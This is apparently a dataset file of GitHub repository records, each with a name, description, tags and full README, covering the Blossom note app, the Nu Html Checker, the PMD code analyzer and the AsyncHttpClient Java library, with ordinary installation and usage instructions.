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blossom-editor/blossom | A markdown editor that you can deploy on your own servers to achieve cloud storage and device synchronization（支持私有部署的云端存储双链笔记软件） | blog client-server editor markdown | ### [English](./README-EN.md) | [中文](./README.md)
<p align="center">
<img src="./doc/imgs/blossom_name.png" height="auto">
</p>
<p align="center">
<a href="https://www.wangyunf.com/blossom-demo/#/settingindex">💻️ 试用</a> | <a href="https://www.wangyunf.com/blossom-doc/index.html">📃 文档</a> | <a href="https://www.wangyunf.com/blossom-doc/guide/about/download.html">📥 下载</a>
</p>
Blossom 是一个支持**私有部署**的**云端双链笔记软件**，你可以将你的笔记，图片，个人计划安排保存在自己的服务器中，并在任意设备之间实时同步。同时还是一个动态博客。
支持 Windows，Mac，网页客户端，网页移动端。
<p align="center">
<img src="./doc/imgs/device.png">
</p>
# 🛎️ 在线试用
你可以通过[在线地址](https://www.wangyunf.com/blossom-demo/#/settingindex)或[下载客户端](https://www.wangyunf.com/blossom-doc/guide/about/download.html)试用，详细信息请查看[试用](https://www.wangyunf.com/blossom-doc/guide/tryuse.html)文档。
<br/><br/>
# 👏 Blossom 的特点:
### 完善的文件关系
Blossom 不依赖任何三方存储和图床，其本身就是一个图床，并且提供了完善的图片管理，防勿删，以及图片和文章的双向关系绑定。
基于 Markdown 编写，没有破坏性的语法拓展，在这里编写的内容在任何 Markdown 软件中都能正常显示。
### 快速迁移
所有图片和文章都支持一键备份和导出，可以在几分钟内轻松迁出。导出的文件可以无缝使用 VS Code 或 Obsidian 等本地软件正常打开。
### 丰富的附加功能
- 📅 [计划安排](https://www.wangyunf.com/blossom-doc/guide/plan.html)
- 🏷️ [待办事项](https://www.wangyunf.com/blossom-doc/guide/todo.html)
- 🎫 [快捷便签](https://www.wangyunf.com/blossom-doc/guide/note.html)
- 🍅 [番茄钟](https://www.wangyunf.com/blossom-doc/guide/article.html#tomato)
- 🧰 多用户、字数统计、字数折线图、编辑热力图、天气预报、主题设置...
Blossom 拥有丰富的功能，不仅仅是知识管理，更是一个可以供多人同时使用的全面实用性工具。
<br/><br/>
# 🚀 Docker Compose 一键部署
```
docker compose -f docker/compose/blossom-mysql8.yaml up -d
```
<br/><br/>
# 🥳 加入群聊
加入群聊进行沟通，反馈问题。
- 1 群：522359970 (即将满)
- 2 群：921906098 (即将满)
- 3 群：749721525
<p align="center">
<img src="./doc/imgs/qq1.png" height="400">
<img src="./doc/imgs/qq2.png" height="400">
<img src="./doc/imgs/qq3.png" height="400">
</p>
# 🤝 赞助 Blossom
**Blossom 不会向你收取任何的费用，你可以永久免费使用！**
但开源软件的收益目前很难维持生活，并且项目设计，开发，测试需要大量的时间和精力，如果你愿意赞助我的工作，将非常有助于该项目的成长，并激励我长期持续下去！
**感谢每一个位赞助者对 Blossom 的大力支持，Blossom 因为你们变得更好。**
<p align="center">
<a target="_blank" href="https://www.wangyunf.com/blossom-doc/guide/about/sponsor-list.html">
<img alt="sponsors" src="https://www.wangyunf.com/bl/pic/home/bl/img/U1/pic/sponsor.svg">
</a>
</p>
---
<h4 align="center">你可以通过以下几种方式赞助 Blossom。</h4>
<p align="center">
<img src="./doc/imgs/sponsors/wechat.png" height="400">
<img src="./doc/imgs/sponsors/ali.png" height="400">
<img src="./doc/imgs/sponsors/aifadian.png" height="400">
</p>
<br/>
# 更多图片
<p align="center">编辑器</p>
---
<p align="center">双链笔记</p>
---
<p align="center">照片墙</p>
---
<p align="center">待办事项清单</p>
---
<p align="center">日历计划</p>
---
<p align="center">便签管理</p>
---
<p align="center">博客</p>
<p align="center">
<img src="./doc/imgs/blog_home_m.png" height="600">
<img src="./doc/imgs/blog_article.png" height="600" style="margin-left: 30px">
</p>
<p align="center">博客移动端</p>
| 0 |
validator/validator | Nu Html Checker – Helps you catch problems in your HTML/CSS/SVG | devtools html-checker html-linter html-validation linter style-linter w3c web-development web-standards whatwg | # The Nu Html Checker (v.Nu) [![Chat room][1]][2] [![Download latest][3]][4]
[1]: resources/matrix-chat.svg
[2]: https://matrix.to/#/#validator_validator:gitter.im
[3]: resources/download-latest.svg
[4]: https://github.com/validator/validator/releases/latest
The Nu Html Checker (v.Nu) helps you [catch unintended mistakes in your HTML,
CSS, and SVG][5]. It enables you to [batch-check documents from the command
line][6] and from other scripts/apps, and to [deploy your own instance of the
checker as a service][7] (like [validator.w3.org/nu][8]). Its [source code is
available][9], as are [instructions on how to build, test, and run the
code][10].
[5]: https://validator.w3.org/nu/about.html#why-validate
[6]: https://validator.github.io/validator/#usage
[7]: https://validator.github.io/validator/#standalone
[8]: https://validator.w3.org/nu/
[9]: https://github.com/validator/validator
[10]: https://validator.github.io/validator/#build-instructions
A [Dockerfile][11] (see **Pulling the Docker image** below) and [npm][12],
[pip][13], and [brew][14] packages are also available.
[11]: https://ghcr.io/validator/validator
[12]: https://www.npmjs.com/package/vnu-jar
[13]: https://github.com/svenkreiss/html5validator
[14]: https://formulae.brew.sh/formula/vnu
It is released upstream in these formats:
* pre-compiled Linux, Windows, and macOS binaries that include an embedded
Java runtime
* `vnu.jar` — a portable version you can use on any system that has Java 8 or
above installed
* `vnu.war` — for [deploying the checker service through a servlet container
such as Tomcat][15]
[15]: https://validator.github.io/validator/#servlet
**Note:** The _vnu.jar_ and _vnu.war_ files require you to have Java 8 or above
installed. The pre-compiled Linux, Windows, and macOS binaries don’t require you
to have any version of Java already installed at all.
You can [get the latest release][16] or run [`docker run -it --rm -p 8888:8888
ghcr.io/validator/validator:latest`][17], [`npm install vnu-jar`][18],
[`npm install --registry=https://npm.pkg.github.com @validator/vnu-jar`][19],
[`brew install vnu`][20], or [`pip install html5validator`][21] and see the
**Usage** and **Web-based checking** sections below. Or automate your document
checking with a frontend such as:
[16]: https://github.com/validator/validator/releases/latest
[17]: https://github.com/validator/validator/pkgs/container/validator
[18]: https://www.npmjs.com/package/vnu-jar
[19]: https://github.com/validator/validator/packages/892707
[20]: https://libraries.io/homebrew/vnu
[21]: https://github.com/svenkreiss/html5validator
* [Grunt plugin for HTML validation][22] or [Gulp plugin for HTML
validation][23] or [Maven plugin for HTML validation][24]
* [html5validator `pip` package][25] (for integration in Travis CI, CircleCI,
CodeShip, Jekyll, Pelican, etc.)
* [LMVTFY: Let Me Validate That For You][26] (auto-check JSFiddle/JSBin, etc.,
links in GitHub issue comments)
[22]: https://github.com/validator/grunt-html
[23]: https://github.com/validator/gulp-html
[24]: https://github.com/validator/maven-plugin
[25]: https://github.com/svenkreiss/html5validator
[26]: https://github.com/cvrebert/lmvtfy/
## Usage
Run the checker with one of the following invocations:
• `vnu-runtime-image/bin/vnu OPTIONS FILES` (Linux or macOS)
• `vnu-runtime-image\bin\vnu.bat OPTIONS FILES` (Windows)
• `java -jar ~/vnu.jar OPTIONS FILES` (any system with Java8+ installed)
…where _`FILES`_ are the documents to check, and _`OPTIONS`_ are zero or more of
the following options:
--errors-only --Werror --exit-zero-always --stdout --asciiquotes
--user-agent USER_AGENT --no-langdetect --no-stream --filterfile FILENAME
--filterpattern PATTERN --css --skip-non-css --also-check-css --svg
--skip-non-svg --also-check-svg --xml --html --skip-non-html
--format gnu|xml|json|text --help --verbose --version
The [Options][27] section below provides details on each option, and the rest of
this section provides some specific examples.
[27]: https://validator.github.io/validator/#options
**Note:** Throughout these examples, replace `~/vnu.jar` with the actual path to
that jar file on your system, and replace `vnu-runtime-image/bin/vnu` and
`vnu-runtime-image\bin\vnu.bat` with the actual path to the `vnu` or `vnu.bat`
program on your system — or if you add the `vnu-runtime-image/bin` or
`vnu-runtime-image\bin` directory your system `PATH` environment variable, you
can invoke the checker with just `vnu`.
To check one or more documents from the command line:
vnu-runtime-image/bin/vnu FILE.html FILE2.html FILE3.html...
vnu-runtime-image\bin\vnu.bat FILE.html FILE2.html FILE3.html...
java -jar ~/vnu.jar FILE.html FILE2.html FILE3.html...
**Note:** If you get a `StackOverflowError` error when invoking the checker, try
adjusting the thread stack size by providing the `-Xss` option to java:
java -Xss512k -jar ~/vnu.jar ...
vnu-runtime-image/bin/java -Xss512k \
-m vnu/nu.validator.client.SimpleCommandLineValidator ...
To check all documents in a particular directory `DIRECTORY_PATH` as HTML:
java -jar ~/vnu.jar DIRECTORY_PATH
vnu-runtime-image/bin/vnu DIRECTORY_PATH
vnu-runtime-image\bin\vnu.bat DIRECTORY_PATH
#### More examples
**Note:** The examples in this section assume you have the
`vnu-runtime-image/bin` or `vnu-runtime-image\bin` directory in your system
`PATH` environment variable. If you’re using the jar file instead, replace `vnu`
in the examples with `java -jar ~/vnu.jar`.
To check all documents in a particular directory `DIRECTORY_PATH` as HTML, but
skip any documents whose names don’t end with the extensions `.html`, `.htm`,
`.xhtml`, or `.xht`:
vnu --skip-non-html DIRECTORY_PATH
To check all documents in a particular directory as CSS:
vnu --css DIRECTORY_PATH
To check all documents in a particular directory as CSS, but skip any documents
whose names don’t end with the extension `.css`:
vnu --skip-non-css DIRECTORY_PATH
To check all documents in a particular directory, with documents whose names end
in the extension `.css` being checked as CSS, and all other documents being
checked as HTML:
vnu --also-check-css DIRECTORY_PATH
To check all documents in a particular directory as SVG:
vnu --svg DIRECTORY_PATH
To check all documents in a particular directory as SVG, but skip any documents
whose names don’t end with the extension `.svg`:
vnu --skip-non-svg DIRECTORY_PATH
To check all documents in a particular directory, with documents whose names end
in the extension `.svg` being checked as SVG, and all other documents being
checked as HTML:
vnu --also-check-svg DIRECTORY_PATH
To check a Web document:
vnu _URL_
example: vnu http://example.com/foo
To check standard input:
vnu -
example:
echo '<!doctype html><title>...' | vnu -
echo '<!doctype html><title>...' | java -jar ~/vnu.jar -
### Options
When used from the command line as described in this section, the checker
provides the following options:
#### --asciiquotes
Specifies whether ASCII quotation marks are substituted for Unicode smart
quotation marks in messages.
default: [unset; Unicode smart quotation marks are used in messages]
#### --errors-only
Specifies that only error-level messages and non-document-error messages are
reported (so that warnings and info messages are not reported).
default: [unset; all messages reported, including warnings & info messages]
#### --Werror
Makes the checker exit non-zero if any warnings are encountered (even if
there are no errors).
default: [unset; checker exits zero if only warnings are encountered]
#### --exit-zero-always
Makes the checker exit zero even if errors are reported for any documents.
default: [unset; checker exits 1 if errors are reported for any documents]
#### --stdout
Makes the checker report errors and warnings to stdout rather than stderr.
default: [unset; checker reports errors and warnings to stderr]
#### --filterfile _FILENAME_
Specifies a filename. Each line of the file contains either a regular
expression or starts with "#" to indicate the line is a comment. Any error
message or warning message that matches a regular expression in the file is
filtered out (dropped/suppressed).
default: [unset; checker does no message filtering]
#### --filterpattern _REGEXP_
Specifies a regular expression. Any error message or warning message that
matches the regular expression is filtered out (dropped/suppressed).
As with all other checker options, this option may only be specified once.
So to filter multiple error messages or warning messages, you must provide a
single regular expression that will match all the messages. The typical way
to do that for regular expressions is to OR multiple patterns together using
the "|" character.
default: [unset; checker does no message filtering]
#### --format _format_
Specifies the output format for reporting the results.
default: "gnu"
possible values: "gnu", "xml", "json", "text" [see information at URL below]
https://github.com/validator/validator/wiki/Service-%C2%BB-Common-params#out
#### --help
Shows detailed usage information.
#### --skip-non-css
Check documents as CSS but skip documents that don’t have *.css extensions.
default: [unset; all documents found are checked]
#### --css
Force all documents to be checked as CSS, regardless of extension.
default: [unset]
#### --skip-non-svg
Check documents as SVG but skip documents that don’t have *.svg extensions.
default: [unset; all documents found are checked]
#### --svg
Force all documents to be checked as SVG, regardless of extension.
default: [unset]
#### --skip-non-html
Skip documents that don’t have *.html, *.htm, *.xhtml, or *.xht extensions.
default: [unset; all documents found are checked, regardless of extension]
#### --html
Forces any *.xhtml or *.xht documents to be parsed using the HTML parser.
default: [unset; XML parser is used for *.xhtml and *.xht documents]
#### --xml
Forces any *.html documents to be parsed using the XML parser.
default: [unset; HTML parser is used for *.html documents]
#### --also-check-css
Check CSS documents (in addition to checking HTML documents).
default: [unset; no documents are checked as CSS]
#### --also-check-svg
Check SVG documents (in addition to checking HTML documents).
default: [unset; no documents are checked as SVG]
#### --user-agent _USER_AGENT_
Specifies the value of the User-Agent request header to send when checking
HTTPS/HTTP URLs.
default: "Validator.nu/LV"
#### --no-langdetect
Disables language detection, so that documents are not checked for missing
or mislabeled html[lang] attributes.
default: [unset; language detection & html[lang] checking are performed]
#### --no-stream
Forces all documents to be be parsed in buffered mode instead of streaming
mode (causes some parse errors to be treated as non-fatal document errors
instead of as fatal document errors).
default: [unset; non-streamable parse errors cause fatal document errors]
#### --verbose
Specifies "verbose" output. (Currently this just means that the names of
files being checked are written to stdout.)
default: [unset; output is not verbose]
#### --version
Shows the checker version number.
## Web-based checking
The Nu Html Checker — along with being usable as [a standalone command-line
client][28] — can be run as an HTTP service, similar to
[validator.w3.org/nu][29], for browser-based checking of HTML documents, CSS
stylesheets, and SVG images over the Web. To that end, the checker is released
as several separate packages:
[28]: https://validator.github.io/validator/#usage
[29]: https://validator.w3.org/nu/
* Linux, Windows, and macOS binaries for deploying the checker as a simple
self-contained service on any system
* `vnu.jar` for deploying the checker as a simple self-contained service on a
system with Java installed
* `vnu.war` for deploying the checker to a servlet container such as Tomcat
All deployments expose a REST API that enables checking of HTML documents, CSS
stylesheets, and SVG images from other clients, not just web browsers. And the
Linux, Windows, and macOS binaries and `vnu.jar` package also include a simple
HTTP client that enables you to either send documents to a locally-running
instance of the checker HTTP service — for fast command-line checking — or to
any remote instance of the checker HTTP service running anywhere on the Web.
The [latest releases of the Linux, Windows, and macOS binaries and vnu.jar and
vnu.war packages][30] are available from the `validator` project at github. The
following are detailed instructions on using them.
[30]: https://github.com/validator/validator/releases/latest
**Note:** Throughout these instructions, replace `~/vnu.jar` with the actual
path to that jar file on your system, and replace `vnu-runtime-image/bin/java`
and `vnu-runtime-image\bin\java.exe` with the actual path to the checker `java`
or `java.exe` program on your system — or if you add the `vnu-runtime-image/bin`
or `vnu-runtime-image\bin` directory your system `PATH` environment variable,
you can invoke the checker with just `java nu.validator.servlet.Main 8888`.
### Standalone web server
To run the checker as a standalone service (using a built-in Jetty server), open
a new terminal window and invoke the checker like this:
java -cp ~/vnu.jar nu.validator.servlet.Main 8888
vnu-runtime-image/bin/java nu.validator.servlet.Main 8888
vnu-runtime-image\bin\java.exe nu.validator.servlet.Main 8888
Then open [http://0.0.0.0:8888][31] in a browser. (To listen on a different
port, replace `8888` with the port number.)
[31]: http://0.0.0.0:8888
**Warning:** Future checker releases will bind by default to the address
`127.0.0.1`. Your checker deployment might become unreachable unless you use the
`nu.validator.servlet.bind-address` system property to bind the checker to a
different address:
java -cp ~/vnu.jar \
-Dnu.validator.servlet.bind-address=128.30.52.73 \
nu.validator.servlet.Main 8888
vnu-runtime-image/bin/java \
-Dnu.validator.servlet.bind-address=128.30.52.73 \
nu.validator.servlet.Main 8888
vnu-runtime-image\bin\java.exe \
-Dnu.validator.servlet.bind-address=128.30.52.73 \
nu.validator.servlet.Main 8888
When you open [http://0.0.0.0:8888][32] (or whatever URL corresponds to the
`nu.validator.servlet.bind-address` value you’re using), you’ll see a form
similar to [validator.w3.org/nu][33] that allows you to enter the URL of an HTML
document, CSS stylesheet, or SVG image, and have the results of checking that
resource displayed in the browser.
[32]: http://0.0.0.0:8888
[33]: https://validator.w3.org/nu/
**Note:** If you get a `StackOverflowError` error when using the checker, try
adjusting the thread stack size by providing the `-Xss` option to java:
java -Xss512k -cp ~/vnu.jar nu.validator.servlet.Main 8888
vnu-runtime-image/bin/java -Xss512k -m vnu/nu.validator.servlet.Main 8888
### Deployment to servlet container
To run the checker inside of an existing servlet container such as Apache Tomcat
you will need to deploy the `vnu.war` file to that server following its
documentation. For example, on Apache Tomcat you could do this using the
[Manager][34] application or simply by copying the file to the `webapps`
directory (since that is the default `appBase` setting). Typically you would see
a message similar to the following in the `catalina.out` log file.
[34]: https://tomcat.apache.org/tomcat-8.0-doc/manager-howto.html
May 7, 2014 4:42:04 PM org.apache.catalina.startup.HostConfig deployWAR
INFO: Deploying web application archive /var/lib/tomcat7/webapps/vnu.war
Assuming your servlet container is configured to receive HTTP requests sent to
`localhost` on port `80` and the context root of this application is `vnu`
(often the default behavior is to use the WAR file's filename as the context
root unless one is explicitly specified) you should be able to access the
application by connecting to [http://localhost/vnu/][35].
[35]: http://localhost/vnu/
**Note:** You may want to customize the `/WEB-INF/web.xml` file inside the WAR
file (you can use any ZIP-handling program) to modify the servlet filter
configuration. For example, if you wanted to disable the inbound-size-limit
filter, you could comment out that filter like this:
<!--
<filter>
<filter-name>inbound-size-limit-filter</filter-name>
<filter-class>nu.validator.servlet.InboundSizeLimitFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>inbound-size-limit-filter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
-->
### HTTP client (for fast command-line checking)
The checker is packaged with an HTTP client you can use from the command line to
either send documents to a locally-running instance of the checker HTTP service
— for fast command-line checking — or to a remote instance anywhere on the Web.
To check documents locally using the packaged HTTP client, do this:
1. Start up the checker as a local HTTP service, as described in the
**Standalone web server** section.
2. Open a new terminal window and invoke the HTTP client like this:
java -cp ~/vnu.jar nu.validator.client.HttpClient FILE.html...
vnu-runtime-image/bin/java nu.validator.client.HttpClient FILE.html...
To send documents to an instance of the checker on the Web, such as
[html5.validator.nu/][36], use the nu.validator.client.host and
nu.validator.client.port options, like this:
[36]: https://html5.validator.nu/
java -cp ~/vnu.jar -Dnu.validator.client.port=80 \
-Dnu.validator.client.host=html5.validator.nu \
nu.validator.client.HttpClient FILE.html...
…or like this:
vnu-runtime-image/bin/java -Dnu.validator.client.port=80 \
-Dnu.validator.client.host=html5.validator.nu \
nu.validator.client.HttpClient FILE.html...
Other options are documented below.
### HTTP client options
When using the packaged HTTP client for sending documents to an instance of the
checker HTTP service for checking, you can set Java system properties to control
configuration options for the checker behavior.
For example, you can suppress warning-level messages and only show error-level
ones by setting the value of the `nu.validator.client.level` system property to
`error`, like this:
java -Dnu.validator.client.level=error \
-cp ~/vnu.jar nu.validator.client.HttpClient FILE.html...
…or like this:
vnu-runtime-image/bin/java -Dnu.validator.client.level=error \
-cp ~/vnu.jar nu.validator.client.HttpClient FILE.html...
Most of the properties listed below map to the common input parameters for the
checker service, as documented at
[github.com/validator/validator/wiki/Service-»-Common-params][37].
[37]: https://github.com/validator/validator/wiki/Service-%C2%BB-Common-params
#### nu.validator.client.host
Specifies the hostname of the checker for the client to connect to.
default: "127.0.0.1"
#### nu.validator.client.port
Specifies the hostname of the checker for the client to connect to.
default: "8888"
example: java -Dnu.validator.client.port=8080 -jar ~/vnu.jar FILE.html
#### nu.validator.client.level
Specifies the severity level of messages to report; to suppress
warning-level messages, and only show error-level ones, set this property to
"error".
default: [unset]
possible values: "error"
example: java -Dnu.validator.client.level=error -jar ~/vnu.jar FILE.html
#### nu.validator.client.parser
Specifies which parser to use.
default: "html"; or, for *.xhtml input files, "xml"
possible values: [see information at URL below]
https://github.com/validator/validator/wiki/Service-%C2%BB-Common-params#parser
#### nu.validator.client.charset
Specifies the encoding of the input document.
default: [unset]
#### nu.validator.client.content-type
Specifies the content-type of the input document.
default: "text/html"; or, for *.xhtml files, "application/xhtml+xml"
#### nu.validator.client.out
Specifies the output format for messages.
default: "gnu"
possible values: [see information at URL below]
https://github.com/validator/validator/wiki/Service-%C2%BB-Common-params#out
#### nu.validator.client.asciiquotes
Specifies whether ASCII quotation marks are substituted for Unicode smart
quotation marks in messages.
default: "yes"
possible values: "yes" or "no"
### HTTP servlet options
#### nu.validator.servlet.bind-address
Binds the validator service to the specified IP address.
default: 0.0.0.0 [causes the checker to listen on all interfaces]
possible values: The IP address of any network interface
example: -Dnu.validator.servlet.bind-address=127.0.0.1
#### nu.validator.servlet.connection-timeout
Specifies the connection timeout.
default: 5000
possible values: number of milliseconds
example: -Dnu.validator.servlet.connection-timeout=5000
#### nu.validator.servlet.socket-timeout
Specifies the socket timeout.
default: 5000
possible values: number of milliseconds
example: -Dnu.validator.servlet.socket-timeout=5000
## Pulling the Docker image
You can pull the checker Docker image from
[https://ghcr.io/validator/validator][38] in the GitHub container registry.
[38]: https://ghcr.io/validator/validator
To pull and run the latest version of the checker:
docker run -it --rm -p 8888:8888 ghcr.io/validator/validator:latest
To pull and run a specific tag/version of the checker from the container
registry — for example, the `17.11.1` version:
docker run -it --rm -p 8888:8888 ghcr.io/validator/validator:17.11.1
To bind the checker to a specific address (rather than have it listening on all
interfaces):
docker run -it --rm -p 128.30.52.73:8888:8888
ghcr.io/validator/validator:latest
To make the checker run with a connection timeout and socket timeout different
than the default 5 seconds, use the `CONNECTION_TIMEOUT_SECONDS` and
`SOCKET_TIMEOUT_SECONDS` environment variables:
docker run -it --rm \
-e CONNECTION_TIMEOUT_SECONDS=15 \
-e SOCKET_TIMEOUT_SECONDS=15 \
-p 8888:8888 \
validator/validator
To make the checker run with particular Java system properties set, use the
`JAVA_TOOL_OPTIONS` environment variable:
docker run -it --rm \
-e JAVA_TOOL_OPTIONS=-Dnu.validator.client.asciiquotes=yes \
-p 8888:8888 \
validator/validator
To define a service named `vnu` for use with `docker compose`, create a Compose
file named `docker-compose.yml` (for example), with contents such as the
following:
version: '2' services:
vnu:
image: validator/validator ports:
- "8888:8888"
network_mode: "host" #so "localhost" refers to the host machine.
## Build instructions
Follow the steps below to build, test, and run the checker such that you can
open `http://0.0.0.0:8888/` in a Web browser to use the checker Web UI.
1. Make sure you have git, python, and JDK 8 or above installed.
2. Set the `JAVA_HOME` environment variable:
export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64 <-- Ubuntu, etc.
export JAVA_HOME=$(/usr/libexec/java_home) <-- MacOS
3. Create a working directory:
git clone https://github.com/validator/validator.git
4. Change into your working directory:
cd validator
5. Start the checker Python script:
python ./checker.py all
The first time you run the checker Python script, you’ll need to be online and
the build will need time to download several megabytes of dependencies.
The steps above will build, test, and run the checker such that you can open
`http://0.0.0.0:8888/` in a Web browser to use the checker Web UI.
**Warning:** Future checker releases will bind by default to the address
`127.0.0.1`. Your checker deployment might become unreachable unless you use the
`--bind-address` option to bind the checker to a different address:
python ./checker.py --bind-address=128.30.52.73 all
Use `python ./checker.py --help` to see command-line options for controlling the
behavior of the script, as well as build-target names you can call separately;
e.g.:
* python ./checker.py build # to build only
* python ./checker.py build test # to build and test
* python ./checker.py run # to run only
* python ./checker.py jar # to compile vnu.jar
* python ./checker.py update-shallow && \
python ./checker.py dldeps && \
python ./checker.py jar # to compile vnu.jar faster
| 0 |
pmd/pmd | An extensible multilanguage static code analyzer. | apex code-analysis code-quality java linter plsql static-analysis static-code-analysis swift | # PMD - source code analyzer
[](https://app.gitter.im/#/room/#pmd_pmd:gitter.im?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
[](https://github.com/pmd/pmd/actions)
[](https://maven-badges.herokuapp.com/maven-central/net.sourceforge.pmd/pmd)
[](https://github.com/jvm-repo-rebuild/reproducible-central#net.sourceforge.pmd:pmd)
[](https://coveralls.io/github/pmd/pmd)
[](https://www.codacy.com/gh/pmd/pmd/dashboard?utm_source=github.com&utm_medium=referral&utm_content=pmd/pmd&utm_campaign=Badge_Grade)
[](code_of_conduct.md)
[](https://docs.pmd-code.org/latest/)
**PMD** is a source code analyzer. It finds common programming flaws like unused variables, empty catch blocks,
unnecessary object creation, and so forth. It supports many languages. It can be extended with custom rules.
It uses JavaCC and Antlr to parse source files into abstract syntax trees (AST) and runs rules against them to find violations.
Rules can be written in Java or using a XPath query.
It supports Java, JavaScript, Salesforce.com Apex and Visualforce,
Modelica, PLSQL, Apache Velocity, HTML, XML and XSL.
Scala is supported, but there are currently no Scala rules available.
Additionally, it includes **CPD**, the copy-paste-detector. CPD finds duplicated code in
C/C++, C#, Dart, Fortran, Gherkin, Go, Groovy, HTML, Java, JavaScript, JSP, Kotlin, Lua, Matlab, Modelica,
Objective-C, Perl, PHP, PLSQL, Python, Ruby, Salesforce.com Apex and Visualforce, Scala, Swift, T-SQL,
Apache Velocity, and XML.
In the future we hope to add support for data/control flow analysis and automatic (quick) fixes where
it makes sense.
## 🚀 Installation and Usage
Download the latest binary zip from the [releases](https://github.com/pmd/pmd/releases/latest)
and extract it somewhere.
Execute `bin/pmd check` or `bin\pmd.bat check`.
See also [Getting Started](https://docs.pmd-code.org/latest/pmd_userdocs_installation.html)
**Demo:**
This shows how PMD analyses [openjdk](https://github.com/openjdk/jdk):
There are plugins for Maven and Gradle as well as for various IDEs.
See [Tools / Integrations](https://docs.pmd-code.org/latest/pmd_userdocs_tools.html)
## ℹ️ How to get support?
* How do I? -- Ask a question on [StackOverflow](https://stackoverflow.com/questions/tagged/pmd)
or on [discussions](https://github.com/pmd/pmd/discussions).
* I got this error, why? -- Ask a question on [StackOverflow](https://stackoverflow.com/questions/tagged/pmd)
or on [discussions](https://github.com/pmd/pmd/discussions).
* I got this error and I'm sure it's a bug -- file an [issue](https://github.com/pmd/pmd/issues).
* I have an idea/request/question -- create a new [discussion](https://github.com/pmd/pmd/discussions).
* I have a quick question -- ask in our [Gitter room](https://app.gitter.im/#/room/#pmd_pmd:gitter.im).
* Where's your documentation? -- <https://docs.pmd-code.org/latest/>
## 🤝 Contributing
Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.
Our latest source of PMD can be found on [GitHub](https://github.com/pmd/pmd). Fork us!
* [How to build PMD](BUILDING.md)
* [How to contribute to PMD](CONTRIBUTING.md)
The rule designer is developed over at [pmd/pmd-designer](https://github.com/pmd/pmd-designer).
Please see [its README](https://github.com/pmd/pmd-designer#contributing) for
developer documentation.
## 💵 Financial Contributors
Become a financial contributor and help us sustain our community. [Contribute](https://opencollective.com/pmd/contribute)
## ✨ Contributors
This project follows the [all-contributors](https://github.com/all-contributors/all-contributors) specification.
Contributions of any kind welcome!
See [credits](docs/pages/pmd/projectdocs/credits.md) for the complete list.
## 📝 License
[BSD Style](LICENSE)
| 0 |
AsyncHttpClient/async-http-client | Asynchronous Http and WebSocket Client library for Java | ahc async asynchttpclient http-client java netty | # Async Http Client
[](https://github.com/AsyncHttpClient/async-http-client/actions/workflows/builds.yml)
Follow [@AsyncHttpClient](https://twitter.com/AsyncHttpClient) on Twitter.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses.
The library also supports the WebSocket Protocol.
It's built on top of [Netty](https://github.com/netty/netty). It's compiled with Java 11.
## Installation
Binaries are deployed on Maven Central.
Add a dependency on the main AsyncHttpClient artifact:
Maven:
```xml
<dependencies>
<dependency>
<groupId>org.asynchttpclient</groupId>
<artifactId>async-http-client</artifactId>
<version>3.0.0.Beta3</version>
</dependency>
</dependencies>
```
Gradle:
```groovy
dependencies {
implementation 'org.asynchttpclient:async-http-client:3.0.0.Beta3'
}
```
## Version
AHC doesn't use SEMVER, and won't.
* MAJOR = huge refactoring
* MINOR = new features and minor API changes, upgrading should require 1 hour of work to adapt sources
* FIX = no API change, just bug fixes, only those are source and binary compatible with same minor version
Check CHANGES.md for migration path between versions.
## Basics
Feel free to check the [Javadoc](http://www.javadoc.io/doc/org.asynchttpclient/async-http-client/) or the code for more information.
### Dsl
Import the Dsl helpers to use convenient methods to bootstrap components:
```java
import static org.asynchttpclient.Dsl.*;
```
### Client
```java
import static org.asynchttpclient.Dsl.*;
AsyncHttpClient asyncHttpClient=asyncHttpClient();
```
AsyncHttpClient instances must be closed (call the `close` method) once you're done with them, typically when shutting down your application.
If you don't, you'll experience threads hanging and resource leaks.
AsyncHttpClient instances are intended to be global resources that share the same lifecycle as the application.
Typically, AHC will usually underperform if you create a new client for each request, as it will create new threads and connection pools for each.
It's possible to create shared resources (EventLoop and Timer) beforehand and pass them to multiple client instances in the config. You'll then be responsible for closing
those shared resources.
## Configuration
Finally, you can also configure the AsyncHttpClient instance via its AsyncHttpClientConfig object:
```java
import static org.asynchttpclient.Dsl.*;
AsyncHttpClient c=asyncHttpClient(config().setProxyServer(proxyServer("127.0.0.1",38080)));
```
## HTTP
### Sending Requests
### Basics
AHC provides 2 APIs for defining requests: bound and unbound.
`AsyncHttpClient` and Dsl` provide methods for standard HTTP methods (POST, PUT, etc) but you can also pass a custom one.
```java
import org.asynchttpclient.*;
// bound
Future<Response> whenResponse=asyncHttpClient.prepareGet("http://www.example.com/").execute();
// unbound
Request request=get("http://www.example.com/").build();
Future<Response> whenResponse=asyncHttpClient.executeRequest(request);
```
#### Setting Request Body
Use the `setBody` method to add a body to the request.
This body can be of type:
* `java.io.File`
* `byte[]`
* `List<byte[]>`
* `String`
* `java.nio.ByteBuffer`
* `java.io.InputStream`
* `Publisher<io.netty.bufferByteBuf>`
* `org.asynchttpclient.request.body.generator.BodyGenerator`
`BodyGenerator` is a generic abstraction that let you create request bodies on the fly.
Have a look at `FeedableBodyGenerator` if you're looking for a way to pass requests chunks on the fly.
#### Multipart
Use the `addBodyPart` method to add a multipart part to the request.
This part can be of type:
* `ByteArrayPart`
* `FilePart`
* `InputStreamPart`
* `StringPart`
### Dealing with Responses
#### Blocking on the Future
`execute` methods return a `java.util.concurrent.Future`. You can simply block the calling thread to get the response.
```java
Future<Response> whenResponse=asyncHttpClient.prepareGet("http://www.example.com/").execute();
Response response=whenResponse.get();
```
This is useful for debugging but you'll most likely hurt performance or create bugs when running such code on production.
The point of using a non blocking client is to *NOT BLOCK* the calling thread!
### Setting callbacks on the ListenableFuture
`execute` methods actually return a `org.asynchttpclient.ListenableFuture` similar to Guava's.
You can configure listeners to be notified of the Future's completion.
```java
ListenableFuture<Response> whenResponse = ???;
Runnable callback = () - > {
try {
Response response = whenResponse.get();
System.out.println(response);
} catch (InterruptedException | ExecutionException e) {
e.printStackTrace();
}
};
java.util.concurrent.Executor executor = ???;
whenResponse.addListener(() - > ??? , executor);
```
If the `executor` parameter is null, callback will be executed in the IO thread.
You *MUST NEVER PERFORM BLOCKING* operations in there, typically sending another request and block on a future.
